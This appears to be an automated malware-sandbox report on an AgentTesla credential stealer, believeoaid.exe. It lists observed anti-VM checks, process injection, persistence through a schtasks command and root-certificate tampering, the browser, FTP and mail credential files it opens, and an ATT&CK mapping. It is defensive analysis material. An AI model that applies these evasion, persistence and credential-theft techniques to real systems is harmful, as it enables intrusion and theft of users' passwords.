Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM_3

Show sources

Source: Yara match	File source: 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2139676967.0000000002410000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2748, type: MEMORY
Source: Yara match	File source: 4.2.believeoaid.exe.2400688.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.believeoaid.exe.24c0930.3.raw.unpack, type: UNPACKEDPE

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Code function: 4_2_00DD6F5D sgdt fword ptr [eax]

4_2_00DD6F5D

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Window / User API: threadDelayed 9614

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2376	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 2820	Thread sleep time: -53278s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 2820	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 2864	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 2436	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 2784	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 3040	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe TID: 3040	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3004	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: believeoaid.exe, 00000004.00000002.2139388260.0000000000761000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Code function: 7_2_0040420E LdrInitializeThunk,

7_2_0040420E

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Memory written: C:\Users\user\AppData\Roaming\believeoaid.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Process created: C:\Users\user\AppData\Roaming\believeoaid.exe C:\Users\user\AppData\Roaming\believeoaid.exe	Jump to behavior

Source: believeoaid.exe, 00000007.00000002.2397310381.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: believeoaid.exe, 00000007.00000002.2397310381.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: believeoaid.exe, 00000007.00000002.2397310381.0000000000EE0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Queries volume information: C:\Users\user\AppData\Roaming\believeoaid.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Queries volume information: C:\Users\user\AppData\Roaming\believeoaid.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Source: C:\Users\user\AppData\Roaming\believeoaid.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000007.00000002.2396885808.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2398457907.0000000002A87000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2398523080.0000000002AAE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2141098426.00000000033F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2748, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2460, type: MEMORY
Source: Yara match	File source: 4.2.believeoaid.exe.35e1160.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.believeoaid.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.believeoaid.exe.36e7410.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.believeoaid.exe.36e7410.5.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini			Jump to behavior

Source: Yara match	File source: 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2460, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000007.00000002.2396885808.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2398457907.0000000002A87000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2398523080.0000000002AAE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2141098426.00000000033F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2748, type: MEMORY
Source: Yara match	File source: Process Memory Space: believeoaid.exe PID: 2460, type: MEMORY
Source: Yara match	File source: 4.2.believeoaid.exe.35e1160.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.believeoaid.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.believeoaid.exe.36e7410.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.believeoaid.exe.36e7410.5.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Scheduled Task/Job1	Process Injection112	Disable or Modify Tools11	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Deobfuscate/Decode Files or Information1	Input Capture21	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Logon Script (Mac)	Software Packing12	NTDS	Security Software Discovery211	Distributed Component Object Model	Input Capture21	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Virtualization/Sandbox Evasion14	SSH	Clipboard Data1	Data Transfer Size Limits	Application Layer Protocol132	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion14	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection112	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\fjctND.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\believeoaid.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
7.2.believeoaid.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1138205		Download File

Domains

Source	Detection	Scanner	Label	Link
globalteamacademy.com	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3.crl0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://www.e-me.lv/repository0	0%	URL Reputation	safe
http://9myEIOSGYPbvohaC7.com	0%	Avira URL Cloud	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0	0%	URL Reputation	safe
http://www.certifikat.dk/repository0	0%	URL Reputation	safe
http://www.certifikat.dk/repository0	0%	URL Reputation	safe
http://www.certifikat.dk/repository0	0%	URL Reputation	safe
http://www.certifikat.dk/repository0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy0	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ca.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class3P.crl0	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://repository.infonotary.com/cps/qcps.html0$	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.post.trust.ie/reposit/cps.html0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://www.disig.sk/ca/crl/ca_disig.crl0	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://ocsp.infonotary.com/responder.cgi0V	0%	URL Reputation	safe
http://www.globaltrust.info0=	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://www.ssc.lt/cps03	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://ocsp.pki.gva.es0	0%	URL Reputation	safe
http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.k	0%	Avira URL Cloud	safe
http://crl.oces.certifikat.dk/oces.crl0	0%	URL Reputation	safe
http://crl.oces.certifikat.dk/oces.crl0	0%	URL Reputation	safe
http://crl.oces.certifikat.dk/oces.crl0	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
